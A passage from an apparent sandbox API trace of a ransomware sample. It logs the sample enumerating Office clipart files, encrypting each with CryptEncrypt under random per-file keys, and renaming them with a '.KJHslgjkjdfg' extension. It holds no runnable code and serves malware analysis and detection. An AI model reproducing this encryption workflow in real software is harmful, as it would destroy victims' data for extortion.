| out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2fac, lpOverlapped=0x0) returned 1 [0194.055] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2fb0, dwBufLen=0x2fb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2fb0) returned 1 [0194.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.055] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2fb0, lpOverlapped=0x0) returned 1 [0194.056] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.056] SetEndOfFile (hFile=0x130) returned 1 [0194.058] GetProcessHeap () returned 0x990000 [0194.058] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.058] GetProcessHeap () returned 0x990000 [0194.058] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.kjhslgjkjdfg")) returned 1 [0194.059] CloseHandle (hObject=0x130) returned 1 [0194.059] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0194.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.061] GetProcessHeap () returned 0x990000 [0194.061] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.061] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.063] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.063] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.063] GetProcessHeap () returned 0x990000 [0194.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.063] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.063] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.063] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.063] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.063] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.063] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.063] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.064] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.064] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x36b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x36b8, lpOverlapped=0x0) returned 1 [0194.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36c0, dwBufLen=0x36c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x36c0) returned 1 [0194.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.065] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x36c0, lpOverlapped=0x0) returned 1 [0194.065] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.065] SetEndOfFile (hFile=0x130) returned 1 [0194.068] GetProcessHeap () returned 0x990000 [0194.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.068] GetProcessHeap () returned 0x990000 [0194.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.kjhslgjkjdfg")) returned 1 [0194.069] CloseHandle (hObject=0x130) returned 1 [0194.069] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0194.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.070] GetProcessHeap () returned 0x990000 [0194.070] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.070] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.070] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.072] GetProcessHeap () returned 0x990000 [0194.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.072] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.072] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.072] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.073] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.073] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.073] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f0c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f0c, lpOverlapped=0x0) returned 1 [0194.074] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f10) returned 1 [0194.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.074] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f10, lpOverlapped=0x0) returned 1 [0194.074] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.075] SetEndOfFile (hFile=0x130) returned 1 [0194.077] GetProcessHeap () returned 0x990000 [0194.077] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.077] GetProcessHeap () returned 0x990000 [0194.077] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.kjhslgjkjdfg")) returned 1 [0194.079] CloseHandle (hObject=0x130) returned 1 [0194.079] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0194.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.079] GetProcessHeap () returned 0x990000 [0194.079] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.079] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.080] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.081] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.081] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.081] GetProcessHeap () returned 0x990000 [0194.081] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.081] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.081] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.081] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.081] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.081] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.081] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.081] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.082] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.082] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.082] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a88, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a88, lpOverlapped=0x0) returned 1 [0194.082] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a90, dwBufLen=0x1a90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a90) returned 1 [0194.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.083] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a90, lpOverlapped=0x0) returned 1 [0194.083] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.083] SetEndOfFile (hFile=0x130) returned 1 [0194.084] GetProcessHeap () returned 0x990000 [0194.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.084] GetProcessHeap () returned 0x990000 [0194.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.kjhslgjkjdfg")) returned 1 [0194.085] CloseHandle (hObject=0x130) returned 1 [0194.086] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0194.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.086] GetProcessHeap () returned 0x990000 [0194.086] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.086] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.086] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.086] GetProcessHeap () returned 0x990000 [0194.086] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.086] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.086] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.087] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.091] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.091] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.091] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.091] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.091] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.091] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.091] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6890, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6890, lpOverlapped=0x0) returned 1 [0194.092] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6890, dwBufLen=0x6890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6890) returned 1 [0194.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.093] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6890, lpOverlapped=0x0) returned 1 [0194.093] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.093] SetEndOfFile (hFile=0x130) returned 1 [0194.096] GetProcessHeap () returned 0x990000 [0194.096] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.096] GetProcessHeap () returned 0x990000 [0194.096] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.kjhslgjkjdfg")) returned 1 [0194.097] CloseHandle (hObject=0x130) returned 1 [0194.097] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: 